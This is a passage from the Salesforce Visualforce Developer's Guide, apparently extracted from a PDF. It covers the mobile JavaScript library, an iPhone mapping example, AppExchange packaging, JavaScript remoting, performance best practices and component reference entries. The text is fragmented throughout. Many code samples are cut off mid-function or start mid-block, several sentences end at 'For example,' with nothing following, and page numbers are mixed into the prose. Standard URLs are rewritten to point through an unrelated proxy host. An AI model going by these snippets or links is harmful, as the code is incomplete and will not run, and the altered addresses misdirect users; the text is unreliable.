Developing for Mobile Devices Using the JavaScript Library
if (userAgent.contains('Salesforce'))
return 'Salesforce';
if (userAgent.contains('BlackBerry'))
return 'BlackBerry';
return 'other';
}
...
Note: Commands in the JavaScript library for Salesforce Mobile can be used for both iPhone and BlackBerry devices.
To call the functions in the library, you need a small amount of JavaScript code. The functions are:
mobileforce.device.sync()
Forces the mobile client application to synchronize with Salesforce, which updates data records on the device.
mobileforce.device.close()
Closes the embedded browser containing the Visualforce page and returns the user to the originating tab or record.
mobileforce.device.syncClose()
Forces the mobile client application to synchronize with Salesforce and closes the embedded browser containing the
Visualforce page.
mobileforce.device.getLocation()
Obtains the GPS coordinates of the device's current location.
Note: You can also trigger the sync and close commands using HTML links, which is a good alternative for BlackBerry
smartphones that have limited JavaScript support. To use HTML to trigger the commands, include the following
string as the value of the href attribute inside an <a> tag:
222
Developing for Mobile Devices Using the JavaScript Library
In your Visualforce pages, use the following static resource to point to the JavaScript library:
External websites must include the instance name in the src parameter:
<script type="application/x-javascript"
src="http://na1.salesforce.com/mobileclient/api/mobileforce.js"></script>
The following code is an example of a Visualforce page that uses all of the commands available in the JavaScript library:
<apex:page showheader="false">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Visualforce Mobile Trigger Test</title>
<script>
function sync() {
mobileforce.device.sync();
return false;
}
function doClose() {
mobileforce.device.close();
return false;
}
function syncClose() {
mobileforce.device.syncClose();
return false;
}
updateLocation = function(lat,lon) {
document.getElementById('lat').value = lat;
document.getElementById('lon').value = lon;
}
function getLocation() {
mobileforce.device.getLocation(updateLocation);
return false;
}
</script>
</head>
<body>
<h2>Triggers:</h2>
<p>
<a href="#" onclick="return sync();">JS sync</a><br/>
<a href="#" onclick="return doClose();">JS close</a><br/>
<a href="#" onclick="return syncClose();">JS sync and close</a><br/>
<a href="mobileforce:///sync">HTML sync</a><br/>
<a href="mobileforce:///close">HTML close</a><br/>
<a href="mobileforce:///sync/close">HTML sync and close</a><br/>
</p>
<h2>Location:</h2>
223
Developing for Mobile Devices Mobilizing Visualforce Pages
</body>
</html>
</apex:page>
• Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down
list.
224
Developing for Mobile Devices Adding Visualforce Tabs to Mobile Configurations
• Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab
Hidden from the drop-down list for each profile.
11. Consider removing the new tab from all available apps so that the tab is not exposed to Salesforce desktop users. Because
Visualforce Mobile pages are usually stripped of many standard Salesforce elements, it is unlikely that you want users to
access the page from a desktop browser.
For detailed information about mobile configurations, refer to the Salesforce Mobile Implementation Guide. If you have already
created a mobile configuration in your organization, you can skip to the tab customization step.
1. Click Your Name > Setup > Mobile Administration > Mobile Configurations to access the mobile configurations list
page.
2. Click New Mobile Configuration.
3. Enter a name for the mobile configuration.
4. Select the Active checkbox. The mobile configuration does not work until you select this checkbox.
5. Optionally, enter a description for the mobile configuration.
6. Optionally, select the Mobilize Recent Items checkbox to mark recently used records in Salesforce for device
synchronization.
225
Developing for Mobile Devices Adding Visualforce Tabs to Mobile Configurations
7. If you select the Mobilize Recent Items checkbox, select a value from the Maximum Number of Recent Items
drop-down list.
8. Select your username in the Available Members box, and click the Add arrow to add your user account to the mobile
configuration.
You can add entire profiles or individual users to a mobile configuration.
9. To set the total data size limit, use the Don't sync if data size exceeds drop-down list to specify the amount
of memory that is consistently available on the mobile devices of users who are assigned to this mobile configuration. If
you're just testing your Visualforce Mobile pages, the default setting is an appropriate size.
10. Click Save.
Tip: The utility at the bottom of the Data Sets page lets you test your data set filters against individual user accounts.
This is useful if you have complex filters and want to model how the filters will affect users. It's important to make
sure the data sets are lean enough not to exceed the size limit you set when creating the mobile configuration.
226
Developing for Mobile Devices Testing Visualforce Mobile Pages
2. In the Mobile Object Properties related list, click Edit next to an object name.
Only objects you mobilized in the configuration's data set appear in the related list.
3. In the Permissions section, select which permissions to remove from mobile users for this object. Use the Deny Create,
Deny Edit, or Deny Delete checkboxes to prevent users from creating, editing, or deleting records in the mobile application.
4. In the Excluded Fields section, select which fields to display on the mobile device for this object. To add or remove fields,
select a field name, and click the Add or Remove arrow.
Unnecessary fields consume memory and make it harder for users to scroll through pages on the mobile device, so it's a
good idea to exclude fields from an object's mobile page layout when possible.
5. Click Save.
5. Click Save.
227
Developing for Mobile Devices Example: Building a Mapping Application for iPhone
Synchronize Data
The mobile application polls Salesforce for schema changes and new data every twenty minutes. In come cases, you
might want to synchronize data after editing your mobile configuration or creating a record in Salesforce so that the
changes show up in the application immediately. You can force the mobile application to synchronize with Salesforce.
To find out how to synchronize your data from an iPhone, refer to the topic titled “Synchronize Data” in the Salesforce
Mobile User Guide for iPhone. To find out how to synchronize your data from a BlackBerry smartphone, refer to the topic
titled “Refreshing Data” in the Salesforce Mobile User Guide for BlackBerry.
Note: Remember, you can use commands from the JavaScript library in your Visualforce Mobile pages to force
the mobile application to synchronize data.
• Developer Edition Organization: Sign up for a Developer Edition organization at Developer Force if you do not already
have one.
• Test Data: In your Developer Edition organization, be sure that your user account includes a valid address. Edit the billing
addresses of the following two accounts so that the companies are in proximity to your address:
◊ Edge Communications
◊ United Oil & Gas Corp.
Keeping the addresses near one another will make it easier to see all of the accounts on the map while you're testing your
examples.
• UI Library: Download iUI, a third-party library that lets Web applications easily mimic the standard iPhone UI.
228
Developing for Mobile Devices Creating the Custom Controller
• Google Maps API: Sign up for the Google Maps API to obtain a Maps API key.
• iPhone Simulator: Download the iPhone simulator so you can test your Visualforce pages in the mobile application.
• Mobile Configuration: After completing the examples, remember to create a mobile configuration that mobilizes your
Visualforce tab and the account object.
return accts;
}
return myKey;
}
229
Developing for Mobile Devices Building the Map and List View
return addrStr;
}
See Also:
Building a Custom Controller
It's good practice to place any JavaScript code within a static resource, in case it needs to be referenced in multiple locations.
Create a static resource named MobileListView:
function addLoadEvent(func) {
var oldonload = window.onload;
if (typeof window.onload != 'function') {
window.onload = func;
} else {
window.onload = function() {
oldonload();
func();
}
}
}
addLoadEvent(
function() {
if (GBrowserIsCompatible()) {
var my_geocoder = new GClientGeocoder();
var map = new GMap2(document.getElementById("map"));
var TC = new GMapTypeControl();
var bottomRight = new GControlPosition(G_ANCHOR_BOTTOM_RIGHT, new GSize(10,10));
230
Developing for Mobile Devices Building the Map and List View
var re = /((\s*\S+)*)\s*/;
return value.replace(re, "$1");
}
if(typ == 'self') {
mTag = "<b>" + SiteName + "</b>" + "<br>" + City ;
myIcon.image = "http://maps.google.com/mapfiles/arrow.png";
myIcon.iconSize=new GSize(32,32);
} else {
if(typ == 'acct') {
mCount ++;
var priAr = SiteName.split(":");
var compName = priAr[0]; // company name
var pri = trim(priAr[1]); // priority
var acctId = priAr[2]; //account id
var index = "";
var imgName = "marker"; // default marker image
var color = "";
document.getElementById(acctId).src = myIcon.image;
myIcon.iconSize=new GSize(20,34);
}
}
myIcon.shadowSize=new GSize(56,32);
myIcon.iconAnchor=new GPoint(16,32);
myIcon.infoWindowAnchor=new GPoint(16,0);
markerOptions2 = { icon:myIcon };
var marker = new GMarker(point, markerOptions2);
map.setCenter(point, 8);
map.addOverlay(marker);
231
Developing for Mobile Devices Building the Map and List View
}
}
);
}
if(arCols[1].length >0)
doAddLocationToMap(arCols[0],arCols[1],arCols[2],
arCols[3],arCols[4],'acct');
}
The following code defines the landing page of our mapping application:
The markup in our page uses the <apex:composition> component to reference a template. The template leverages the
iUI framework, which lets us apply iPhone-like styling to our page. The iUI framework is included from the $Resource.IUI
232
Developing for Mobile Devices Building the Detail Page
static resource. By defining a template, we can easily apply the same styling to all of the Visualforce pages we create for the
iPhone platform.
The following markup defines the iuivf page used as the template:
<!--
* Page definition: iuivf
* Visualforce template for iUI includes needed for
* using the iui framework <http://code.google.com/p/iui/>
* in any Visualforce page.
-->
<apex:page>
<meta name="viewport" content="width=320; initial-scale=1.0;
maximum-scale=1.0; user scalable=0;"/>
<apex:includeScript value="{!URLFOR($Resource.IUI, 'iui-0.13/iui/iui.js')}" />
<apex:styleSheet value="{!URLFOR($Resource.IUI, 'iui-0.13/iui/iui.css')}" />
</apex:page>
• The markup overrides the #home style from the iUI library. This ensures that our application will render in Salesforce
Mobile without any noticeable gap at the top of the page.
• The markup avoids the use of the class="Toolbar" element. The embedded browser in Salesforce Mobile has a
navigation toolbar at the top of the page, so a second toolbar would likely confuse users. If you want to use the button
styles provided in the iUI framework, don't use the Toolbar class to render the buttons.
See Also:
Using JavaScript in Visualforce Pages
apex:composition
Using Static Resources
public customAccountController() {
account = [Select Id, Name, Rating, CustomerPriority__c, Description, Phone,
BillingStreet, BillingCity, BillingState, BillingPostalCode from Account
where id = :ApexPages.currentPage().getParameters().get('id')];
}
233
Developing for Mobile Devices Building the Detail Page
}
}
Next, we'll create a Visualforce page that displays the phone number and rating of the account the user selected from the list
view. We'll use the <fieldset> and <row> classes from the iUI framework to apply iPhone-like styling to the page.
The following code defines the account detail page of our mapping application:
<h2>{!Account.Name}</h2>
<div class="row">
<label>Phone:</label>
<input type="text" value="{!Account.Phone}" />
</div>
<div class="row">
<label>Rating:</label>
<input type="text" value="{!Account.Rating}" />
</div>
</fieldset>
</div>
</apex:page>
234
Chapter 19
Adding Visualforce to a Force.com AppExchange App
You can include Visualforce pages, components, or custom controllers in an app that you are creating for AppExchange.
Unlike Apex classes, the content of a Visualforce page in a managed package is not hidden when the package is installed.
However, custom controllers, controller extensions, and custom components are hidden. In addition, custom components can
be restricted with the access attribute to run only in your namespace.
Salesforce.com recommends that you only use managed packages to distribute any Visualforce or Apex components. This
recommendation is because managed packages receive a unique namespace that is automatically prepended to the names of your
pages, components, classes, methods, variables, and so on. This namespace prefix helps prevent duplicate names in the installer's
organization.
The following caveats should be taken into consideration when creating a package using a Visualforce page:
• If the access attribute on a component that is included in a managed package is set to global, be aware of the following
restrictions:
◊ The access attribute on the component cannot be changed to public.
◊ All required child <apex:attribute> components (those that have the required attribute set to true) must have the
access attribute set to global.
◊ If the default attribute is set on a required child <apex:attribute>, it cannot be removed or changed.
◊ You cannot add new required child <apex:attribute> components.
◊ If the access attribute on a child <apex:attribute> component is set to global, it cannot be changed to public.
◊ If the access attribute on a child <apex:attribute> component is set to global, the type attribute cannot be
changed.
• When a package with a non-global component is installed, users that view the component in Setup see “Component is not
global” instead of the content of the component. In addition, the component is not included in the component reference.
• If advanced currency management is enabled for an organization that is installing a package, Visualforce pages that use
<apex:inputField> and <apex:outputField> cannot be installed.
• Any Apex that is included as part of Force.com AppExchange app must have at least 75% cumulative test coverage. When
you upload your package to AppExchange, all tests are run to ensure that they run without errors. The tests are also run
when the package is installed.
• Beginning with version 16.0, if you have a managed global Apex class used as a Visualforce controller, it is also required
that the access level be set to global for the following methods and properties for subscribers to use them:
◊ Constructors for custom controllers
◊ Getter and setter methods, including those for input and output components
◊ Get and set attributes on properties
Tip: If an Apex class or Visualforce page references a custom label, and that label has translations, you must explicitly
package the individual languages desired in order for those translations to be included in the package.
235
Adding Visualforce to a Force.com AppExchange App Managing Package Version Settings for Visualforce Pages and Components
When a package containing Visualforce pages is installed into an organization, the pages are served from the visual.force.com
domain instead of the salesforce.com domain. This is to prevent malicious code in a package from affecting your data.
• If you save a Visualforce page that references a managed package without specifying a version of the managed package,
the Visualforce page is associated with the latest installed version of the managed package by default.
• You cannot Remove a Visualforce page's version setting for a managed package if the package is referenced by the Visualforce
page. Use Show Dependencies to find where the managed package is referenced.
To configure the package version settings for a custom component:
• If you save a custom component that references a managed package without specifying a version of the managed package,
the custom component is associated with the latest installed version of the managed package by default.
236
Adding Visualforce to a Force.com AppExchange App Managing Package Version Settings for Visualforce Pages and Components
• You cannot Remove a custom component's version setting for a managed package if the package is referenced by the
custom component. Use Show Dependencies to find where the managed package is referenced.
See Also:
How is Visualforce Versioned?
Managing Version Settings for Custom Components
237
Chapter 20
Using JavaScript in Visualforce Pages
Using JavaScript in Visualforce pages gives you access to a wide range of existing JavaScript functionality, such as JavaScript
libraries, and other ways to customize the functionality of your pages. Action tags, such as <apex:actionFunction> and
<apex:actionSupport>, support Ajax requests.
Caution: By including JavaScript in a page, you are introducing the possibility of cross-browser and maintenance issues
that you do not have when using Visualforce. Before writing any JavaScript, you should be sure that there is not an
existing Visualforce component that can solve your problem.
The best method for including JavaScript in a Visualforce page is placing the JavaScript in a static resource, then calling it from
there. For example,
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>
You can then use the functions defined within that JavaScript file within your page using <script> tags.
Tip: When using JavaScript within an expression, you need to escape quotes using a backslash (\). For example,
238
Using JavaScript in Visualforce Pages Using a JavaScript Library with Visualforce
The top of the page includes JavaScript contained within the <script> HTML tag. It takes as arguments the element that
triggered the event (input) and the DOM ID (textid) of the target panel containing the text to be affected.
<apex:page id="thePage">
<!-- A simple function for changing the font. -->
<script>
function changeFont(input, textid) {
if(input.checked) {
document.getElementById(textid).style.fontWeight = "bold";
}
else {
document.getElementById(textid).style.fontWeight = "normal";
}
}
</script>
The important part of this example is the use of the {!$Component.thePanel} expression to obtain the DOM ID of the
HTML element generated by the <apex:outputPanel id="thePanel"> component. See the JavaScript Remoting
Example on page 243 for a more complete demonstration.
See Also:
Best Practices for Accessing Component IDs
For example, if you are using MooTools (http://mootools.net/), create a static resource from the library called mootools,
and then reference it in a page like this:
<apex:page>
<apex:includeScript value="{!$Resource.mootools}"/>
</apex:page>
You can then use it in a page by adding a <script> to call functions from the library.
<apex:page>
<apex:includeScript value="{!$Resource.mootools}"/>
<script>
239
Using JavaScript in Visualforce Pages JavaScript Remoting for Apex Controllers
<h1>Congratulations</h1>
<apex:outputPanel layout="block">
<label for="checkbox">Click this box to change text font:</label>
<input id="checkbox" type="checkbox"
onclick="changeFont(this,'{!$Component.thePanel}');"/>
</apex:outputPanel>
<!-- This outputPanel contains the text that will be changed when the checkbox is selected.
-->
<apex:outputPanel id="thePanel" layout="block">Change me!
</apex:outputPanel>
</apex:page>
If you are using a JavaScript library in a Visualforce page, and that library defines $ as a special character, you'll need to modify
your JavaScript to override this usage. For example, if you are using jQuery, you can override the definition of $ by using the
jQuery.noConflict() function.
<apex:page >
<apex:includeScript value="{!$Resource.jquery}"/>
<html>
<head>
<script>
jQuery.noConflict();
jQuery(document).ready(function() {
jQuery("a").click(function() {
alert("Hello world, part 2!");
});
});
</script>
</apex:page>
Note: Do not use Ext JS versions less than version 3 on pages that use Chatter components, <apex:enhancedList>,
<knowledge:articleCaseToolbar>, or <knowledge:articleRendererToolbar>.
}, {escape:true});
where
• namespace is the namespace of the controller class. This is required if your organization has a namespace defined, or if
the class comes from an installed package.
240
Using JavaScript in Visualforce Pages JavaScript Remoting for Apex Controllers
While the remote method call executes synchronously, it does not wait for the response to be returned. The response is handled
asynchronously by the callback function, whenever the response completes. See Handling the Remote Response below for
details.
@RemoteAction
global static String getItemId(String objectName) { ... }
Your Apex method must be static and either global or public. Globally-exposed remote actions should not perform
sensitive operations or expose non-public data. global remote actions may only call other global methods. public remote
actions may not be used in global components, or otherwise used in a global scope. Scope escalation will result in a compiler
error or, for references which are resolved at runtime, a runtime failure. The following table describes these restrictions in
more detail:
When remote actions are accessed via markup that is included indirectly, via components or the <apex:include> or
<apex:composition> tags, the scope of the remote method is carried forward into the top level container, that is, the top
level item in the inclusion hierarchy, which must abide by scope escalation rules:
241
Using JavaScript in Visualforce Pages JavaScript Remoting for Apex Controllers
Overloading is not permitted; in other words, your remote method can't have the same number of parameters as other methods
with the same name. For instance, with the method above, you can't also have a getItemId(Integer objectNumber)
method.
Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes as arguments.
Generic sObjects must have an ID or sobjectType value to identify actual type. Your method can return Apex primitives,
sObjects, collections, user-defined Apex classes and enums, SaveResult, UpsertResult, DeleteResult, SelectOption,
or PageReference.
• JavaScript remoting:
◊ lets you pass parameters
◊ provides a callback
◊ requires JavaScript
In general, <apex:actionFunction> is easier to use and requires less code, while JavaScript remoting offers more flexibility.
242
Using JavaScript in Visualforce Pages JavaScript Remoting Example
@RemoteAction
global static Account getAccount(String accountName) {
account = [SELECT id, name, phone, type, numberofemployees FROM
Account WHERE name = :accountName];
return account;
}
}
Other than the @RemoteAction annotation, this looks like any other controller definition.
To make use of this remote method, you can construct a Visualforce page that looks like this:
<apex:page controller="MyJSController">
<script type="text/javascript">
function getRemoteAccount() {
var accountName = document.getElementById('acctSearch').value;
<apex:pageBlock id="block">
<apex:pageBlockSection id="blockSection" columns="2">
<apex:pageBlockSectionItem id="firstItem">
<span id="remoteAcctId"/>
</apex:pageBlockSectionItem>
<apex:pageBlockSectionItem id="secondItem">
<apex:outputText id="acctNumEmployees"/>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:page>
243
Using JavaScript in Visualforce Pages JavaScript Remoting Example
• The markup omits the namespace of the controller. If your organization has declared a namespace, add it to the JavaScript
remoting call.
• The event.status variable is true only if the call was successful. The error handling illustrated by the example is
deliberately simple. You are encouraged to provide more robust alternative logic for requests where your method call doesn't
succeed.
• The result variable represents the object returned from the Apex getAccount method.
• Accessing the DOM ID of a plain HTML element is simple, just use the ID of the item.
• The DOM ID of Visualforce components are dynamically generated in order to ensure IDs are unique. The code above
uses the technique illustrated earlier in this chapter to retrieve the component's ID by accessing it via the $Component
global variable.
244
Chapter 21
Best Practices
• The problems aren't confined to a single user's computer by testing expected Visualforce functionality on other machines
as well as using different browsers.
• Slow load times are not the result of a network issue by checking the load time of other Salesforce pages. If they are also
slow, it could be the result of bandwidth or latency issues to Salesforce. To check on the status of the Salesforce servers,
visit trust.salesforce.com. You should also check the status of your network connections and ensure they are functioning
properly.
• You are following general Web design best practices, such as the minification of JavaScript and CSS, optimizing images
for the Web, and avoiding iframes whenever possible.
• You've used the Developer Console to step through the request and determine which items in the request used the most
system resources. See ”the Developer Console” in the Salesforce online help.
The following is a list of commonly encountered Visualforce performance issues and their possible solutions:
View State Size
The view state size of your Visualforce pages must be under 135KB. By reducing your view state size, your pages can
load quicker and stall less often.
You can monitor view state performance through the View State tab in the development mode footer and take the
following actions:
245
Best Practices Best Practices for Improving Visualforce Performance
• Use only one <apex:form> tag on a page. Each <apex:form> adds a copy of the view state to the page, so extra
forms multiply the data that needs to be loaded. You can also use the <apex:actionRegion> tag to submit form
data from specific sections of the Visualforce page.
• Use the transient keyword in your Apex controllers for variables that aren't essential for maintaining state and
aren't necessary during page refreshes.
• If you notice that a large percentage of your view state comes from objects used in controllers or controller extensions,
consider refining your SOQL calls to return only data that's relevant to the Visualforce page.
• If your view state is affected by a large component tree, try reducing the number of components your page depends
on.
Note: An optimization to view states is available as a pilot feature in Spring ’12 that changes the way Visualforce
maintains the view state from request to request. When enabled, Visualforce only adds one view state to a page,
no matter how many forms are on it. If you have Visualforce pages which can’t be reduced to one form on the
page, you may benefit from this optimization. For information on enabling this feature for your organization,
contact salesforce.com.
Load Times
Large page sizes directly affects load times. To improve Visualforce page load times:
◊ Limiting the data coming back from SOQL calls in your Apex controllers. For example, using AND statements
in your WHERE clause, or removing null results
◊ Taking advantage of pagination with a list controller to present fewer records per page
• Increase the time interval for calling Apex from your Visualforce page. For example, when using the
<apex:actionPoller> component, you could adjust the interval attribute to 15 seconds instead of 5.
• Move any non-essential logic to an asynchronous code block using Ajax
246
Best Practices Best Practices for Accessing Component IDs
The $Component global variable simplifies references and reduces some of the dependency on the overall page structure. For
example, to access a data table with id="tableID" contained in a page block with id="blockID", use the following
expression: $Component.blockID.tableID.
You don't need to specify an ID for a component you want to access if it is an ancestor or sibling to the $Component variable
in the Visualforce component hierarchy. The system dynamically assigns IDs to the outer components and automatically
determines the hierarchy for you.
For example, suppose you want to access a data table component that is contained in an <apex:pageBlock> tag. You only
need to specify the ID for the <apex:dataTable> tag. This way, if the page hierarchy ever changes (for example, if an
<apex:detail> tag is wrapped around the table), you do not have to change your code.
<apex:page>
<apex:form id="theForm">
<apex:pageBlock id="thePageBlock">
<apex:pageBlockSection id="theSection">
<apex:pageBlockSectionItem id="theSectionItem">All the
alerts refer to this component</apex:pageBlockSectionItem>
<!-- Works because this outputPanel has a direct parent
with a "theSectionItem" child -->
<apex:outputPanel onclick="alert('
{!$Component.theSectionItem}');">
First click here
</apex:outputPanel>
</apex:pageBlockSection>
<apex:pageBlockButtons id="theButtons" location="bottom">
<!-- Works because this outputPanel has a grandparent ("theSection")
with a "theSectionItem" child -->
<apex:outputPanel onclick="alert('
{!$Component.theSection.theSectionItem}');">
Second click here<br />
</apex:outputPanel>
<!-- Works because this outputPanel has a distant parent
with a "theForm" child. -->
<apex:outputPanel onclick="alert('
{!$Component.theForm.thePageBlock.theSection.theSectionItem}');">
Third click here<br />
</apex:outputPanel>
</apex:pageBlockButtons>
247
Best Practices Best Practices for Accessing Component IDs
</apex:pageBlock>
<!-- $Component will reference the common parent of this usage
and the target, which is "theForm" -->
<apex:outputPanel onclick="alert('
{!$Component.thePageBlock.theSection.theSectionItem}');">
Fourth click here</apex:outputPanel>
</apex:form>
</apex:page>
When the page is rendered, the <apex:dataTable> component results in the following HTML:
248
Best Practices Best Practices for Static Resources
Each table cell has a unique ID based on the ID value of the containing components. The first table cell in the first row has
the ID thePage:theTable:0:firstColumn, the second cell in the first row has the ID
thePage:theTable:0:secondColumn, the first cell in the second row has the ID thePage:theTable:1:firstColumn,
and so on.
To refer to all entries in a column, you have to iterate across the table rows, referring to each <td> element that has an ID
following the format of the column.
The same type of ID generation is done for elements within the table cells. For example, the account name in the first row is
generated as a span with the ID thePage:theTable:0:accountName. Notice that ID does not include the value of the
ID for the column it is in.
You can use the action attribute on a <apex:page> component to redirect from a Visualforce page to a static resource.
This functionality allows you to add rich, custom help to your Visualforce pages. For example, to redirect a user to a
PDF:
Notice that the static resource reference is wrapped in a URLFOR function. Without that, the page does not redirect
properly.
This redirect is not limited to PDF files. You can also redirect a page to the content of any static resource. For example,
you can create a static resource that includes an entire help system composed of many HTML files mixed with JavaScript,
images, and other multimedia files. As long as there is a single entry point, the redirect works. For example:
When a user visits the page, the index.htm file in the static resource displays.
See Also:
Using Static Resources
249
Best Practices Best Practices for Controllers and Controller Extensions
<apex:component controller="CustCmpCtrl">
<apex:attribute name="value" description=""
type="String" required="true"
assignTo="{!selectedValue}">
</apex:attribute>
//...
//...
</apex:component>
// Constructor method
public CustCmpCtrl() {
if (selectedValue != null) {
EditMode = true;
}
}
// Setter method
public String selectedValue { get;set; }
}
Since the constructor is called before the setter, selectedValue will always be null when the constructor is called.
Thus, EditMode will never be set to true.
250
Best Practices Best Practices for Using Component Facets
while <apex:column> only supports facets for the header and footer of the column. The <apex:facet> component allows
you to override the default facet on a Visualforce component with your own content. Facets only allow a single child within
the start and close tags.
Note:
Not all components support facets. Those that do are listed in the Standard Component Reference.
When defining an <apex:facet>, it is always used as the child of another Visualforce component. The name attribute on
the facet determines which area of the parent component is overridden.
<apex:page standardController="Account">
<apex:pageBlock>
<apex:dataTable value="{!account}" var="a">
<apex:facet name="caption"><h1>This is
{!account.name}</h1></apex:facet>
<apex:facet name="footer"><p>Information
Accurate as of {!NOW()}</p></apex:facet>
<apex:column>
<apex:facet name="header">Name</apex:facet>
<apex:outputText value="{!a.name}"/>
</apex:column>
<apex:column>
<apex:facet
name="header">Owner</apex:facet>
<apex:outputText value="{!a.owner.name}"/>
</apex:column>
</apex:dataTable>
</apex:pageBlock>
</apex:page>
Note: For this page to display account data, the ID of a valid account record must be specified as a query parameter
in the URL for the page. For example:
https://Salesforce_instance/apex/facet?id=001D000000IRosz
251
Best Practices Best Practices for Page Block Components
<apex:page controller="exampleCon">
<apex:form >
<apex:outputText value="Watch this counter: {!count}" id="counter"/>
<apex:actionStatus id="counterStatus">
<apex:facet name="start">
<img src="{!$Resource.spin}"/> <!-- A previously defined image -->
</apex:facet>
</apex:actionStatus>
<apex:actionPoller action="{!incrementCounter}" rerender="counter"
status="counterStatus" interval="7"/>
</apex:form>
</apex:page>
See Also:
Using Static Resources
252
Best Practices Best Practices for Rendering PDFs
Note: For this page to display account data, the ID of a valid account record must be specified as a query
parameter in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001D000000IRosz
253
Best Practices Best Practices for Rendering PDFs
• <apex:facet>
• <apex:include> (as long as the page contains PDF-safe components)
• <apex:insert>
• <apex:image>
• <apex:outputLabel>
• <apex:outputLink>
• <apex:outputPanel>
• <apex:outputText>
• <apex:page>
• <apex:panelGrid>
• <apex:panelGroup>
• <apex:param>
• <apex:repeat>
• <apex:stylesheet> (as long as the URL isn't directly referencing Salesforce stylesheets)
• <apex:variable>
254
Best Practices Best Practices for <apex:panelbar>
• <apex:outputField>
• <apex:pageBlock>
• <apex:pageBlockButtons>
• <apex:pageBlockSection>
• <apex:pageBlockSectionItem>
• <apex:pageBlockTable>
• <apex:pageMessage>
• <apex:pageMessages>
• <apex:panelBar>
• <apex:panelBarItem>
• <apex:relatedList>
• <apex:scontrol>
• <apex:sectionHeader>
• <apex:selectCheckboxes>
• <apex:selectList>
• <apex:selectOption>
• <apex:selectOptions>
• <apex:selectRadio>
• <apex:tab>
• <apex:tabPanel>
• <apex:toolbar>
• <apex:toolbarGroup>
<apex:page standardController="account">
<apex:panelBar >
<apex:repeat value="{!account.contacts}" var="c">
<apex:panelBarItem label="{!c.firstname}">one</apex:panelBarItem>
</apex:repeat>
</apex:panelBar>
</apex:page>
255
Chapter 22
Standard Component Reference
A full list of the standard Visualforce components can be accessed through the table of contents or in the index of this guide.
apex:actionFunction
A component that provides support for invoking controller action methods directly from JavaScript code using an AJAX
request. An <apex:actionFunction> component must be a child of an <apex:form> component.
Unlike <apex:actionSupport>, which only provides support for invoking controller action methods from other Visualforce
components, <apex:actionFunction> defines a new JavaScript function which can then be called from within a block of
JavaScript code.
Example
<!-- Page: -->
<apex:page controller="exampleCon">
<apex:form>
<!-- Define the JavaScript function sayHello-->
<apex:actionFunction name="sayHello" action="{!sayHello}" rerender="out"
status="myStatus"/>
</apex:form>
<apex:outputPanel id="out">
<apex:outputText value="Hello "/>
<apex:actionStatus startText="requesting..." id="myStatus">
<apex:facet name="stop">{!username}</apex:facet>
</apex:actionStatus>
</apex:outputPanel>
<!-- Add the onclick event listener to a panel. When clicked, the panel triggers
the methodOneInJavascript actionFunction with a param -->
<apex:outputPanel onclick="methodOneInJavascript('Yes!')" styleClass="btn">
Click Me
</apex:outputPanel>
<apex:form>
256
Standard Component Reference apex:actionFunction
Attributes
257
Standard Component Reference apex:actionPoller
apex:actionPoller
A timer that sends an AJAX update request to the server according to a time interval that you specify. The update request can
then result in a full or partial page update. You should avoid using this component with enhanced lists.
Note that if an <apex:actionPoller> is ever re-rendered as the result of another action, it resets itself. An
<apex:actionPoller> must be within the region it acts upon. For example, to use an <apex:actionPoller> with an
<apex:actionRegion>, the <apex:actionPoller> must be within the <apex:actionRegion>.
Example
<!-- Page -->
<apex:page controller="exampleCon">
<apex:form>
<apex:outputText value="Watch this counter: {!count}" id="counter"/>
<apex:actionPoller action="{!incrementCounter}" rerender="counter" interval="15"/>
</apex:form>
</apex:page>
258
Standard Component Reference apex:actionPoller
count++;
return null;
}
Attributes
259
Standard Component Reference apex:actionRegion
apex:actionRegion
An area of a Visualforce page that demarcates which components should be processed by the Force.com server when an AJAX
request is generated. Only the components in the body of the <apex:actionRegion> are processed by the server, thereby
increasing the performance of the page.
Note that an <apex:actionRegion> component only defines which components the server processes during a request—it
does not define what area(s) of the page are re-rendered when the request completes. To control that behavior, use the
rerender attribute on an <apex:actionSupport>, <apex:actionPoller>, <apex:commandButton>,
<apex:commandLink>, <apex:tab>, or <apex:tabPanel> component.
<!-- For this example to render properly, you must associate the Visualforce page
with a valid opportunity record in the URL.
For example, if 001D000000IRt53 is the opportunity ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Opportunity">
<apex:form >
<apex:pageBlock title="Edit Opportunity" id="thePageBlock" mode="edit">
<apex:pageBlockButtons >
<apex:commandButton value="Save" action="{!save}"/>
<apex:commandButton value="Cancel" action="{!cancel}"/>
</apex:pageBlockButtons>
<apex:pageBlockSection columns="1">
<apex:inputField value="{!opportunity.name}"/>
<apex:pageBlockSectionItem>
<apex:outputLabel value="{!$ObjectType.opportunity.fields.stageName.label}"
for="stage"/>
<!--
Without the actionregion, selecting a stage from the picklist would cause
a validation error if you hadn't already entered data in the required name
and close date fields. It would also update the timestamp.
-->
<apex:actionRegion>
<apex:inputField value="{!opportunity.stageName}" id="stage">
<apex:actionSupport event="onchange" rerender="thePageBlock"
status="status"/>
</apex:inputField>
</apex:actionRegion>
</apex:pageBlockSectionItem>
<apex:inputfield value="{!opportunity.closedate}"/>
{!text(now())}
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
260
Standard Component Reference apex:actionStatus
Attributes
apex:actionStatus
A component that displays the status of an AJAX update request. An AJAX request can either be in progress or complete.
Example
<!-- Page: -->
<apex:page controller="exampleCon">
<apex:form>
<apex:outputText value="Watch this counter: {!count}" id="counter"/>
<apex:actionStatus startText=" (incrementing...)"
stopText=" (done)" id="counterStatus"/>
<apex:actionPoller action="{!incrementCounter}" rerender="counter"
status="counterStatus" interval="15"/>
</apex:form>
</apex:page>
261
